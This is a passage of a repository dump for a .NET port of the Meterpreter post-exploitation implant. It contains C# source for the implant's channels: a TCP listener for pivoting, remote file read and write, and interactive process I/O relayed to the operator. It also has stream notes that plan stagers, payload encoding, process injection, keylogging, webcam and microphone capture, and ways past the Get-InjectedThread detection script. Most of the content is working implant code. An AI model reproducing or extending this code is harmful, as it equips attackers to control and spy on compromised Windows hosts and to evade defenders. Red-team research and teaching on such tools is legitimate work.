this.listener.BeginAcceptTcpClient(this.TcpClientConnected, null); 46 | } 47 | 48 | private void TcpClientConnected(IAsyncResult result) 49 | { 50 | var client = this.listener.EndAcceptTcpClient(result); 51 | BeginAcceptConnection(); 52 | 53 | if (client != null) 54 | { 55 | var clientChannel = TcpClientChannel.Wrap(this.ChannelManager, client); 56 | this.ChannelManager.Manage(clientChannel); 57 | 58 | var packet = new Packet("tcp_channel_open"); 59 | packet.Add(TlvType.ChannelId, clientChannel.ChannelId); 60 | packet.Add(TlvType.ChannelParentId, this.ChannelId); 61 | packet.Add(TlvType.StdapiLocalHost, this.LocalHost); 62 | packet.Add(TlvType.StdapiLocalPort, this.LocalPort); 63 | packet.Add(TlvType.StdapiPeerHost, clientChannel.PeerHost); 64 | packet.Add(TlvType.StdapiPeerPort, clientChannel.PeerPort); 65 | this.ChannelManager.Dispatch(packet); 66 | } 67 | } 68 | 69 | public static TcpServerChannel Create(Core.ChannelManager channelManager, Packet request, Packet response) 70 | { 71 | var localHost = request.Tlvs.TryGetTlvValueAsString(TlvType.StdapiLocalHost); 72 | var localPort = (int)request.Tlvs.TryGetTlvValueAsDword(TlvType.StdapiLocalPort); 73 | 74 | var channel = new TcpServerChannel(channelManager, localHost, localPort); 75 | 76 | response.Add(TlvType.StdapiLocalHost, channel.LocalHost); 77 | response.Add(TlvType.StdapiLocalPort, channel.LocalPort); 78 | 79 | return channel; 80 | } 81 | 82 | public override void Close() 83 | { 84 | this.listener.Stop(); 85 | } 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /src/meterpreter.net.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.26430.13 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "metsrv.net35", "metsrv.net35\metsrv.net35.csproj", "{E05D0DEB-D724-4448-8C4C-53D6A8E670F3}" 7 | EndProject 8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TestConsole.net35", "TestConsole.net35\TestConsole.net35.csproj", "{C3CC72BF-62A2-4034-AF66-E66DA73E425D}" 9 | EndProject 10 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "stdapi.net35", "stdapi.net35\stdapi.net35.csproj", "{3296E4A3-94B5-4232-B423-44F4C7421CB3}" 11 | EndProject 12 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "metsrv.net40", "metsrv.net40\metsrv.net40.csproj", "{67C09D37-AC18-4F15-8DD6-B5DA721C0DF6}" 13 | EndProject 14 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "stdapi.net40", "stdapi.net40\stdapi.net40.csproj", "{7ACE3762-D8E1-4969-A5A0-DCAF7B18164E}" 15 | EndProject 16 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TestConsole.net40", "TestConsole.net40\TestConsole.net40.csproj", "{6840B249-1A0E-433B-BE79-A927696EA4B3}" 17 | EndProject 18 | Global 19 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 20 | Debug|Any CPU = Debug|Any CPU 21 | Release|Any CPU = Release|Any CPU 22 | EndGlobalSection 23 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 24 | {E05D0DEB-D724-4448-8C4C-53D6A8E670F3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 25 | {E05D0DEB-D724-4448-8C4C-53D6A8E670F3}.Debug|Any CPU.Build.0 = Debug|Any CPU 26 | {E05D0DEB-D724-4448-8C4C-53D6A8E670F3}.Release|Any CPU.ActiveCfg = Release|Any CPU 27 | {E05D0DEB-D724-4448-8C4C-53D6A8E670F3}.Release|Any CPU.Build.0 = Release|Any CPU 28 | {C3CC72BF-62A2-4034-AF66-E66DA73E425D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 29 | {C3CC72BF-62A2-4034-AF66-E66DA73E425D}.Debug|Any CPU.Build.0 = Debug|Any CPU 30 | {C3CC72BF-62A2-4034-AF66-E66DA73E425D}.Release|Any CPU.ActiveCfg = Release|Any CPU 31 | {C3CC72BF-62A2-4034-AF66-E66DA73E425D}.Release|Any CPU.Build.0 = Release|Any CPU 32 | {3296E4A3-94B5-4232-B423-44F4C7421CB3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 33 | {3296E4A3-94B5-4232-B423-44F4C7421CB3}.Debug|Any CPU.Build.0 = Debug|Any CPU 34 | {3296E4A3-94B5-4232-B423-44F4C7421CB3}.Release|Any CPU.ActiveCfg = Release|Any CPU 35 | {3296E4A3-94B5-4232-B423-44F4C7421CB3}.Release|Any CPU.Build.0 = Release|Any CPU 36 | {67C09D37-AC18-4F15-8DD6-B5DA721C0DF6}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 37 | {67C09D37-AC18-4F15-8DD6-B5DA721C0DF6}.Debug|Any CPU.Build.0 = Debug|Any CPU 38 | {67C09D37-AC18-4F15-8DD6-B5DA721C0DF6}.Release|Any CPU.ActiveCfg = Release|Any CPU 39 | {67C09D37-AC18-4F15-8DD6-B5DA721C0DF6}.Release|Any CPU.Build.0 = Release|Any CPU 40 | {7ACE3762-D8E1-4969-A5A0-DCAF7B18164E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 41 | {7ACE3762-D8E1-4969-A5A0-DCAF7B18164E}.Debug|Any CPU.Build.0 = Debug|Any CPU 42 | {7ACE3762-D8E1-4969-A5A0-DCAF7B18164E}.Release|Any CPU.ActiveCfg = Release|Any CPU 43 | {7ACE3762-D8E1-4969-A5A0-DCAF7B18164E}.Release|Any CPU.Build.0 = Release|Any CPU 44 | {6840B249-1A0E-433B-BE79-A927696EA4B3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 45 | {6840B249-1A0E-433B-BE79-A927696EA4B3}.Debug|Any CPU.Build.0 = Debug|Any CPU 46 | {6840B249-1A0E-433B-BE79-A927696EA4B3}.Release|Any CPU.ActiveCfg = Release|Any CPU 47 | {6840B249-1A0E-433B-BE79-A927696EA4B3}.Release|Any CPU.Build.0 = Release|Any CPU 48 | EndGlobalSection 49 | GlobalSection(SolutionProperties) = preSolution 50 | HideSolutionNode = FALSE 51 | EndGlobalSection 52 | EndGlobal 53 | -------------------------------------------------------------------------------- /Parts-1-to-10.md: -------------------------------------------------------------------------------- 1 | # Part 1 - 23 April 2019 @ 20:00 AEST 2 | 3 | The kick off stream! Classic introduction stuff, and covering off high level discussion of things we need to do, with some deeper diving along the way. 4 | 5 | [Notes](../master/streams/2019-04-23-Part-1/notes.md) - [Questions](../master/streams/2019-04-23-Part-1/questions.md) - [Vimeo](https://vimeo.com/331977092) - [YouTube](https://youtu.be/fUG2Zo-LfKQ) 6 | 7 | # Part 2 - 25 April 2019 @ 20:00 AEST 8 | 9 | Answered viewer questions, gave an overview of MSF and Meterpreter, and covered off what TLV packets look like. Shorter stream because of ANZAC day. 10 | 11 | [Notes](../master/streams/2019-04-25-Part-2/notes.md) - [TLV Structure](../master/streams/2019-04-25-Part-2/tlv.md) - [Vimeo](https://vimeo.com/332426022) - [YouTube](https://youtu.be/-nUfhW5d_Nc) 12 | 13 | # Part 3 - 27 April 2019 @ 20:00 AEST 14 | 15 | Spoke about dev issues such as permature optimsation, future proofing and more. Covered off some legality points, and spoke in depth about what we're going to do support multiple versions of the CLR. 16 | 17 | [Notes](../master/streams/2019-04-27-Part-3/notes.md) - [Agenda](../master/streams/2019-04-27-Part-3/agenda.md) - [Version](../master/streams/2019-04-27-Part-3/version.md) - [Vimeo](https://vimeo.com/332827701) - [YouTube](https://youtu.be/fgMdviZkew8) 18 | 19 | # Part 4 - 29 April 2019 @ 20:00 AEST 20 | 21 | Quickly recap'd stuff. Got started on project structure and wrote some awful, awful code. Good to get started though! Once we've figured out the vibe, we'll start moving faster. 22 | 23 | [Agenda](../master/streams/2019-04-29-Part-4/agenda.md) - [Vimeo](https://vimeo.com/333091819) - [YouTube](https://youtu.be/xlmqqVq2Pek) 24 | 25 | # Part 5 - 1 may 2019 @ 20:00 AEST 26 | 27 | Code! All the code. Got the TLV packet parsing first pass done. We can read TLV data from byte arrays and interact with the values. 28 | 29 | [Agenda](../master/streams/2019-05-01-Part-5/agenda.md) - [Vimeo](https://vimeo.com/333532147) - [YouTube](https://youtu.be/H31LdXAsC2M) 30 | 31 | # Part 6 - 3 may 2019 @ 20:00 AEST 32 | 33 | More code this time! We did the deserialisation part of the TLV handling. So we should have "serder" done well enough to move up a level and start preparing the server in the next stream. 34 | 35 | [Agenda](../master/streams/2019-05-03-Part-6/agenda.md) - [Vimeo](https://vimeo.com/333959033) - [YouTube](https://youtu.be/B7byAySiK3s) 36 | 37 | # Part 7 - 6 may 2019 @ 20:00 AEST 38 | 39 | Rejigged some source structure, got started on parsing configuration coming from MSF during staging. 40 | 41 | [Agenda](../master/streams/2019-05-06-Part-7/agenda.md) - [Vimeo](https://vimeo.com/334419549) - [YouTube](https://youtu.be/TowwCK1k8Dw) 42 | 43 | # Part 8 - 8 may 2019 @ 20:00 AEST 44 | 45 | Finished configuration parsing, explored the staging process and got started on plugin management. 46 | 47 | [Agenda](../master/streams/2019-05-08-Part-8/agenda.md) - [Notes](../master/streams/2019-05-08-Part-8/notes.md) - [Vimeo](https://vimeo.com/334881806) - [YouTube](https://youtu.be/OPbWiG9ETI8) 48 | 49 | # Part 9 - 10 may 2019 @ 20:00 AEST 50 | 51 | Add full HTTP transport parsing, started work on the server transport handling and packet dispatching. 52 | 53 | [Agenda](../master/streams/2019-05-10-Part-9/agenda.md) - [Vimeo](https://vimeo.com/335392126) - [YouTube](https://youtu.be/iUrlJOhbQl4) 54 | 55 | # Part 10 - 13 may 2019 @ 20:00 AEST 56 | 57 | Got started in building stages, stagers and MSF-related plumbing so that we can start testing the staging process of Meterp in the CLR. 58 | 59 | [Agenda](../master/streams/2019-05-13-Part-10/agenda.md) - [MSF Commit](https://github.com/OJ/metasploit-framework/commit/e1441a314a57f1f469769683f6e67c897e65eca6) - [Vimeo](https://vimeo.com/335848368) - [YouTube](https://youtu.be/znsK1b2_xhI) 60 | -------------------------------------------------------------------------------- /streams/2019-04-23-Part-1/notes.md: -------------------------------------------------------------------------------- 1 | CLR Meterpreter 2 | =============== 3 | 4 | # Rationale 5 | 6 | ## Good feelz 7 | * I want to give back. 8 | * I want to educate. 9 | 10 | ## offsec reasons 11 | * Powershell is dying. 12 | * Native code exec == hard. 13 | * Dynamic languages == poo -- javascript, python, ruby, etc. 14 | * .NET/CLR is now on basically every windows host. 15 | - There is a .NET runtime of sorts on other machines too. 16 | * JIT'd languages often have a lot of RWX pages 17 | 18 | ## Why Meterpreter 19 | * Longer shelflife for meterp 20 | * share knowledge of meterp in particular 21 | - you guys can contribute to it too 22 | * Other ideas of how .NET stuff can be utilised and abused in .NET Meterpreter 23 | - New extensions 24 | * Add more transports 25 | - WCF -> binary formatted TCP sockets 26 | 27 | ## Selfish reasons 28 | * Because I like C#... more than most other languages that are mainstream. 29 | - If I could, I'd use F#. 30 | * Need to keep streams shorter -- the long ones kill me! 31 | * Twitch Affiliate 32 | 33 | # Major implementation areas 34 | * Stagers 35 | - support various ways to invoke the payload, ASPX, EXE, DLL, C#, MSIL 36 | - Supporting encoding/encryption of payloads 37 | * The ability to load a stage and the extensions 38 | - How do we implement things like Mimikatz/Incognito? 39 | * Transports! 40 | - HTTPS, HTTP, TCP, SMB/NamedPipe, (DNS...) 41 | * TLV "Protocol" 42 | - Handling TLV packets properly 43 | - Handling encryption of packets properly 44 | * Sessions 45 | - Managing the state of Meterpreter regardless of transport and connectivity 46 | - Transport Failover 47 | * Channels 48 | - Provide the means for multiple actions to stream communications over the single transport/session 49 | * Features in basically every Meterp 50 | - File IO 51 | - Process management 52 | - Interacting with the registry 53 | - Webcam/mic/trolling 54 | - .... 55 | * Migration 56 | - These days, this stands out like Dogs ... 57 | - Should we do the "powerpick" style CLR loading and create a .NET session in a native process? 58 | - Should we just inject a native Meterpreter on migrate? 59 | * Threading 60 | - Most commands are implemented on a separate thread 61 | * Pivoting 62 | - Packet pivots 63 | * Native vs Non-native 64 | - Migration 65 | - Process injection 66 | - Keylogging 67 | * Railgun 68 | - Implementation of the Win32 API callable via Metasploit 69 | * Configuration 70 | - taking the configuration of the listener (in MSF) and creating relevant transports/etc. 71 | * Supporting post modules 72 | - Railgun 73 | - All the standard features 74 | - Loading of extension 75 | - We need to make sure that post modules that say they support "windows" work on .NET Meterpeter. 76 | * venom payload generation 77 | * PROXIES 78 | 79 | ## .NET specific considerations for implementation 80 | * Which version(s) do we support? 81 | - Visual Studio version? 82 | - 2.0 --- 4.9..? 83 | - Mono.net and .NET Core 84 | * AppDomains 85 | * P/Invoke 86 | * Mixed Mode Assemblies 87 | * Dynamic Assembly Generation 88 | * Built in C# compiler 89 | 90 | ## Validation of functionality 91 | * How do we test this? 92 | 93 | # Contstraints, gotchas, traps, pitfalls 94 | * When we create threads in an assembly that was loaded from memory in a .NET application, are those memory areas marked as MEM_IMAGE? (ie. will they bypass Get-InjectedThread.ps1). 95 | * Time/management/etc. 96 | * Metasploit 97 | - TLV packets 98 | - Expose the features 99 | - "Chattiness" 100 | - Mutual auth -- this is not something that MSF currently does. 101 | - Can't easily handle multiple users talking to the same meterpreter session at once 102 | 103 | -------------------------------------------------------------------------------- /src/metsrv.net35/Channel.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using Met.Core.Extensions; 3 | using Met.Core.Proto; 4 | 5 | namespace Met.Core 6 | { 7 | public abstract class Channel 8 | { 9 | private static int channelIdentifier = 0; 10 | 11 | private object idLock = new object(); 12 | private uint? channelId = null; 13 | 14 | protected ChannelManager ChannelManager 15 | { 16 | get; private set; 17 | } 18 | 19 | public event EventHandler ChannelClosed; 20 | 21 | public virtual void Interact(bool interact) 22 | { 23 | } 24 | 25 | public uint ChannelId 26 | { 27 | get 28 | { 29 | if (!this.channelId.HasValue) 30 | { 31 | lock (this.idLock) 32 | { 33 | if (!this.channelId.HasValue) 34 | { 35 | this.channelId = (uint)System.Threading.Interlocked.Increment(ref channelIdentifier); 36 | } 37 | } 38 | } 39 | 40 | return this.channelId.Value; 41 | } 42 | protected set 43 | { 44 | this.channelId = value; 45 | } 46 | } 47 | 48 | protected Channel(ChannelManager channelManager) 49 | { 50 | this.ChannelManager = channelManager; 51 | } 52 | 53 | protected void FireClosedEvent() 54 | { 55 | ChannelClosed?.Invoke(this, new EventArgs()); 56 | } 57 | 58 | public virtual PacketResult IsEof(Packet request, Packet response) 59 | { 60 | return PacketResult.CallNotImplemented; 61 | } 62 | 63 | public virtual PacketResult Tell(Packet request, Packet response) 64 | { 65 | return PacketResult.CallNotImplemented; 66 | } 67 | 68 | public virtual PacketResult Write(Packet request, Packet response) 69 | { 70 | var data = request.Tlvs.TryGetTlvValueAsRaw(TlvType.ChannelData); 71 | var bytesToWrite = (int)request.Tlvs.TryGetTlvValueAsDword(TlvType.Length); 72 | var bytesWritten = default(int); 73 | var result = this.WriteInternal(data, bytesToWrite, out bytesWritten); 74 | 75 | if (result == PacketResult.Success) 76 | { 77 | response.Add(TlvType.Length, bytesWritten); 78 | } 79 | 80 | return result; 81 | } 82 | 83 | protected virtual PacketResult WriteInternal(byte[] data, int bytesToWrite, out int bytesWritten) 84 | { 85 | bytesWritten = 0; 86 | return PacketResult.CallNotImplemented; 87 | } 88 | 89 | public virtual PacketResult Read(Packet request, Packet response) 90 | { 91 | var bytesToRead = request.Tlvs.TryGetTlvValueAsDword(TlvType.Length); 92 | var buffer = new byte[bytesToRead]; 93 | var bytesRead = default(int); 94 | var result = this.ReadInternal(buffer, out bytesRead); 95 | 96 | if (result == PacketResult.Success) 97 | { 98 | // TODO: handle channel flags/etc 99 | response.Add(TlvType.ChannelData, buffer, bytesRead); 100 | response.Add(TlvType.Length, bytesRead); 101 | } 102 | 103 | return result; 104 | } 105 | 106 | protected virtual PacketResult ReadInternal(byte[] buffer, out int bytesRead) 107 | { 108 | bytesRead = 0; 109 | return PacketResult.CallNotImplemented; 110 | } 111 | 112 | public abstract void Close(); 113 | } 114 | } -------------------------------------------------------------------------------- /src/metsrv.net35/CommandHandler.cs: -------------------------------------------------------------------------------- 1 | using Met.Core.Proto; 2 | using System.Management; 3 | using System.Linq; 4 | using System; 5 | using System.Runtime.InteropServices; 6 | using System.Text; 7 | using System.Reflection; 8 | using System.Reflection.Emit; 9 | using System.Collections.Generic; 10 | 11 | namespace Met.Core 12 | { 13 | public class CommandHandler 14 | { 15 | public void Register(PluginManager manager) 16 | { 17 | manager.RegisterFunction(string.Empty, "core_machine_id", false, this.CoreMachineId); 18 | } 19 | 20 | #if COMEBACKTOTHIS 21 | private static bool GetVolumeInformation( 22 | string rootPathName, 23 | StringBuilder volumeNameBuffer, 24 | int volumeNameSize, 25 | out uint volumeSerialNumber, 26 | out uint maximumComponentLength, 27 | out uint fileSystemFlags, 28 | StringBuilder fileSystemNameBuffer, 29 | int nFileSystemNameSize) 30 | { 31 | var assemblyName = new AssemblyName("jfkldasljk"); 32 | var assemblyBuilder = AppDomain.CurrentDomain.DefineDynamicAssembly(assemblyName, AssemblyBuilderAccess.Run); 33 | var moduleBuilder = assemblyBuilder.DefineDynamicModule("fjdklsfjsa"); 34 | var typeBuilder = moduleBuilder.DefineType("fdklsfjakl", TypeAttributes.Public); 35 | 36 | var dllImportConstructor = typeof(DllImportAttribute).GetConstructor(new Type[] { typeof(string) }); 37 | var dllImportBuilder = new CustomAttributeBuilder(dllImportConstructor, new object[] { "Kernel32.dll" }); 38 | 39 | // Possible MethodAttributes.PinvokeImpl 40 | var methodBuilder = typeBuilder.DefinePInvokeMethod("GetVolumeInformation", "Kernel32.dll", MethodAttributes.Public | MethodAttributes.Static, 41 | CallingConventions.Standard, typeof(bool), 42 | new Type[] { typeof(string), typeof(StringBuilder), typeof(int), typeof(uint).MakeByRefType(), typeof(uint).MakeByRefType(), 43 | typeof(uint).MakeByRefType(), typeof(StringBuilder), typeof(int) }, 44 | CallingConvention.Winapi, CharSet.Auto); 45 | 46 | methodBuilder.SetCustomAttribute(dllImportBuilder); 47 | 48 | volumeSerialNumber = 0; 49 | maximumComponentLength = 0; 50 | fileSystemFlags = 0; 51 | 52 | var args = new object[] { rootPathName, 53 | volumeNameBuffer, volumeNameSize, volumeSerialNumber, maximumComponentLength, fileSystemFlags, fileSystemNameBuffer, 54 | nFileSystemNameSize 55 | }; 56 | 57 | var type = typeBuilder.CreateType(); 58 | var result = (bool)type.GetMethod("GetVolumeInformation").Invoke(null, args); 59 | volumeSerialNumber = (uint)args[3]; 60 | maximumComponentLength = (uint)args[4]; 61 | fileSystemFlags = (uint)args[5]; 62 | return result; 63 | } 64 | #endif 65 | 66 | private InlineProcessingResult CoreMachineId(Packet request, Packet response) 67 | { 68 | var sysDrive = Environment.SystemDirectory.Substring(0, 3); 69 | 70 | var volname = new StringBuilder(261); 71 | var fsname = new StringBuilder(261); 72 | uint serialNumber = 0, maxLength = 0, flags = 0; 73 | 74 | Core.Native.Kernel32.GetVolumeInformation(sysDrive, volname, volname.Capacity, out serialNumber, out maxLength, out flags, fsname, fsname.Capacity); 75 | 76 | var machineId = string.Format("{0,04:x}-{1,04:x}:{2}", (ushort)(serialNumber >> 16), (ushort)serialNumber, Environment.MachineName); 77 | 78 | response.Add(TlvType.MachineId, machineId); 79 | response.Result = PacketResult.Success; 80 | 81 | return InlineProcessingResult.Continue; 82 | } 83 | } 84 | } 85 | -------------------------------------------------------------------------------- /src/stdapi.net40/stdapi.net40.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {7ACE3762-D8E1-4969-A5A0-DCAF7B18164E} 8 | Library 9 | Properties 10 | Met.Stdapi 11 | ext_server_stdapi.net40 12 | v4.0 13 | 512 14 | 15 | 16 | true 17 | full 18 | false 19 | ..\bin\Debug\ 20 | TRACE;DEBUG;NET40 21 | prompt 22 | 4 23 | 24 | 25 | pdbonly 26 | true 27 | ..\bin\Release\ 28 | TRACE;NET40 29 | prompt 30 | 4 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | Channel\AudioOutputChannel.cs 45 | 46 | 47 | Channel\FileChannel.cs 48 | 49 | 50 | Channel\ProcessChannel.cs 51 | 52 | 53 | Channel\TcpClientChannel.cs 54 | 55 | 56 | Channel\TcpServerChannel.cs 57 | 58 | 59 | FileSystem.cs 60 | 61 | 62 | NetConfig.cs 63 | 64 | 65 | StdapiPlugin.cs 66 | 67 | 68 | SysConfig.cs 69 | 70 | 71 | SysPower.cs 72 | 73 | 74 | SysProcess.cs 75 | 76 | 77 | 78 | 79 | 80 | {67c09d37-ac18-4f15-8dd6-b5da721c0df6} 81 | metsrv.net40 82 | 83 | 84 | 85 | 86 | copy /y $(TargetPath) Z:\meterpreter.net\ 87 | 88 | -------------------------------------------------------------------------------- /streams/2019-04-25-Part-2/notes.md: -------------------------------------------------------------------------------- 1 | CLR Meterpreter 2 | =============== 3 | 4 | # Rationale 5 | 6 | ## Good feelz 7 | * I want to give back. 8 | * I want to educate. 9 | 10 | ## offsec reasons 11 | * Powershell is dying. 12 | * Native code exec == hard. 13 | * Dynamic languages == poo -- javascript, python, ruby, etc. 14 | * .NET/CLR is now on basically every windows host. 15 | - There is a .NET runtime of sorts on other machines too. 16 | * JIT'd languages often have a lot of RWX pages 17 | 18 | ## Why Meterpreter 19 | * Longer shelflife for meterp 20 | * share knowledge of meterp in particular 21 | - you guys can contribute to it too 22 | * Other ideas of how .NET stuff can be utilised and abused in .NET Meterpreter 23 | - New extensions 24 | * Add more transports 25 | - WCF -> binary formatted TCP sockets 26 | 27 | ## Selfish reasons 28 | * Because I like C#... more than most other languages that are mainstream. 29 | - If I could, I'd use F#. 30 | * Need to keep streams shorter -- the long ones kill me! 31 | * Twitch Affiliate 32 | 33 | # Major implementation areas 34 | * Stagers 35 | - support various ways to invoke the payload, PowerShell, ASPX, EXE, DLL, C#, MSIL 36 | - Won't be using the existing native stagers -- too complex for now 37 | - Supporting encoding/encryption of payloads 38 | * The ability to load a stage and the extensions 39 | - How do we implement things like Mimikatz/Incognito? 40 | * Transports! 41 | - HTTPS, HTTP, TCP, SMB/NamedPipe, (DNS...) 42 | * TLV "Protocol" 43 | - Handling TLV packets properly 44 | - Handling encryption of packets properly 45 | * Sessions 46 | - Managing the state of Meterpreter regardless of transport and connectivity 47 | - Transport Failover 48 | * Channels 49 | - Provide the means for multiple actions to stream communications over the single transport/session 50 | * Features in basically every Meterp 51 | - File IO 52 | - Process management 53 | - Interacting with the registry 54 | - Webcam/mic/trolling 55 | - .... 56 | * Migration 57 | - These days, this stands out like Dogs ... 58 | - Should we do the "powerpick" style CLR loading and create a .NET session in a native process? 59 | - Should we just inject a native Meterpreter on migrate? 60 | * Threading 61 | - Most commands are implemented on a separate thread 62 | * Pivoting 63 | - Packet pivots 64 | * Native vs Non-native 65 | - Migration 66 | - Process injection 67 | - Keylogging 68 | * Railgun 69 | - Implementation of the Win32 API callable via Metasploit 70 | * Configuration 71 | - taking the configuration of the listener (in MSF) and creating relevant transports/etc. 72 | * Supporting post modules 73 | - Railgun 74 | - All the standard features 75 | - Loading of extension 76 | - We need to make sure that post modules that say they support "windows" work on .NET Meterpeter. 77 | * venom payload generation 78 | * PROXIES 79 | 80 | ## Testing 81 | * Test driven development? 82 | - LOLNO. 83 | * Unit tests? 84 | - Definitely 85 | * Integration tests? 86 | - Definitely 87 | * Property-based tests? 88 | - Not yet ;D 89 | 90 | ## .NET specific considerations for implementation 91 | * Which version(s) do we support? 92 | - Visual Studio version? 93 | - 2.0 --- 4.9..? 94 | - Mono.net and .NET Core 95 | * AppDomains 96 | * P/Invoke 97 | * Mixed Mode Assemblies 98 | * Dynamic Assembly Generation 99 | * Built in C# compiler 100 | * Nuget -- we don't need it, because we probably don't need any third party packages. 101 | * Should we obfuscate at compile time? 102 | - Not yet. But perhaps when we're doing with v1, we'll look into it. 103 | 104 | ## Validation of functionality 105 | * How do we test this? 106 | 107 | # Contstraints, gotchas, traps, pitfalls 108 | * When we create threads in an assembly that was loaded from memory in a .NET application, are those memory areas marked as MEM_IMAGE? (ie. will they bypass Get-InjectedThread.ps1). 109 | * Time/management/etc. 110 | * Metasploit 111 | - TLV packets 112 | - Expose the features 113 | - "Chattiness" 114 | - Mutual auth -- this is not something that MSF currently does. 115 | - Can't easily handle multiple users talking to the same meterpreter session at once 116 | 117 | -------------------------------------------------------------------------------- /src/stdapi.net35/Channel/FileChannel.cs: -------------------------------------------------------------------------------- 1 | using Met.Core; 2 | using Met.Core.Extensions; 3 | using Met.Core.Proto; 4 | using System.IO; 5 | 6 | namespace Met.Stdapi.Channel 7 | { 8 | public class FileChannel : Core.Channel 9 | { 10 | private readonly FileStream fileStream; 11 | 12 | private FileChannel(ChannelManager channelManager, FileStream fileStream) 13 | : base(channelManager) 14 | { 15 | this.fileStream = fileStream; 16 | } 17 | 18 | public static FileChannel Create(Core.ChannelManager channelManager, Packet request, Packet response) 19 | { 20 | var filePath = request.Tlvs.TryGetTlvValueAsString(TlvType.StdapiFilePath); 21 | var mode = request.Tlvs.TryGetTlvValueAsString(TlvType.StdapiFileMode); 22 | 23 | var fileMode = default(FileMode); 24 | var fileAccess = default(FileAccess); 25 | 26 | switch(mode) 27 | { 28 | case "ab": 29 | case "abb": 30 | { 31 | fileMode = FileMode.Append; 32 | fileAccess = FileAccess.Write; 33 | break; 34 | } 35 | case "rb": 36 | case "rbb": 37 | { 38 | fileMode = FileMode.Open; 39 | fileAccess = FileAccess.Read; 40 | break; 41 | } 42 | case "wb": 43 | case "wbb": 44 | { 45 | fileMode = FileMode.Create; 46 | fileAccess = FileAccess.Write; 47 | break; 48 | } 49 | default: 50 | { 51 | System.Diagnostics.Debug.WriteLine(string.Format("Unable to handle file mode: {0}", mode)); 52 | return null; 53 | } 54 | } 55 | 56 | try 57 | { 58 | var file = File.Open(filePath, fileMode, fileAccess); 59 | return new FileChannel(channelManager, file); 60 | } 61 | catch 62 | { 63 | return null; 64 | } 65 | } 66 | 67 | public override PacketResult IsEof(Packet request, Packet response) 68 | { 69 | try 70 | { 71 | response.Add(TlvType.Bool, this.fileStream.Length == this.fileStream.Position); 72 | return PacketResult.Success; 73 | } 74 | catch 75 | { 76 | return PacketResult.BadArguments; 77 | } 78 | } 79 | 80 | public override PacketResult Tell(Packet request, Packet response) 81 | { 82 | try 83 | { 84 | response.Add(TlvType.SeekPos, (uint)this.fileStream.Position); 85 | return PacketResult.Success; 86 | } 87 | catch 88 | { 89 | return PacketResult.BadArguments; 90 | } 91 | } 92 | 93 | public override void Close() 94 | { 95 | fileStream.Close(); 96 | } 97 | 98 | protected override PacketResult WriteInternal(byte[] data, int bytesToWrite, out int bytesWritten) 99 | { 100 | try 101 | { 102 | this.fileStream.Write(data, 0, bytesToWrite); 103 | bytesWritten = bytesToWrite; 104 | return PacketResult.Success; 105 | } 106 | catch 107 | { 108 | bytesWritten = 0; 109 | return PacketResult.CallNotImplemented; 110 | } 111 | } 112 | 113 | protected override PacketResult ReadInternal(byte[] buffer, out int bytesRead) 114 | { 115 | bytesRead = this.fileStream.Read(buffer, 0, buffer.Length); 116 | 117 | if (bytesRead > 0) 118 | { 119 | return PacketResult.Success; 120 | } 121 | 122 | return PacketResult.BadArguments; 123 | } 124 | } 125 | } 126 | -------------------------------------------------------------------------------- /src/stdapi.net35/Channel/ProcessChannel.cs: -------------------------------------------------------------------------------- 1 | using Met.Core.Extensions; 2 | using Met.Core.Proto; 3 | using System; 4 | using System.Diagnostics; 5 | using System.IO; 6 | using System.Threading; 7 | 8 | namespace Met.Stdapi.Channel 9 | { 10 | public class ProcessChannel : Core.Channel 11 | { 12 | private readonly Process process; 13 | private bool interactive = false; 14 | private readonly Thread outputThread; 15 | private readonly Thread errorThread; 16 | private readonly Semaphore interactiveSemaphore; 17 | 18 | public ProcessChannel(Core.ChannelManager channelManager, Process process) 19 | : base(channelManager) 20 | { 21 | this.process = process; 22 | this.process.EnableRaisingEvents = true; 23 | 24 | process.StartInfo.UseShellExecute = false; 25 | process.StartInfo.RedirectStandardError = true; 26 | process.StartInfo.RedirectStandardOutput = true; 27 | process.StartInfo.RedirectStandardInput = true; 28 | 29 | this.outputThread = new Thread(new ParameterizedThreadStart(this.OutputReceived)); 30 | this.errorThread = new Thread(new ParameterizedThreadStart(this.OutputReceived)); 31 | 32 | // A mutex for both threads that handle stdout/stderr 33 | this.interactiveSemaphore = new Semaphore(0, 2); 34 | } 35 | 36 | private void OutputReceived(object state) 37 | { 38 | var stream = (StreamReader)state; 39 | 40 | while(!this.process.HasExited && !stream.EndOfStream) 41 | { 42 | if (!this.interactive) 43 | { 44 | this.interactiveSemaphore.WaitOne(500); 45 | } 46 | 47 | if (this.interactive) 48 | { 49 | using (var buffer = new MemoryStream()) 50 | { 51 | while (stream.Peek() != -1) 52 | { 53 | var c = stream.Read(); 54 | buffer.WriteByte((byte)c); 55 | } 56 | 57 | // write out a packet 58 | var packet = new Packet("core_channel_write"); 59 | packet.Add(TlvType.ChannelId, this.ChannelId); 60 | packet.Add(TlvType.ChannelData, buffer.ToArray()); 61 | 62 | this.ChannelManager.Dispatch(packet); 63 | } 64 | } 65 | } 66 | } 67 | 68 | public void ProcessStarted() 69 | { 70 | this.process.Exited += this.ProcessExited; 71 | this.outputThread.Start(this.process.StandardOutput); 72 | this.errorThread.Start(this.process.StandardError); 73 | } 74 | 75 | private void ProcessExited(object sender, EventArgs e) 76 | { 77 | this.outputThread.Abort(); 78 | 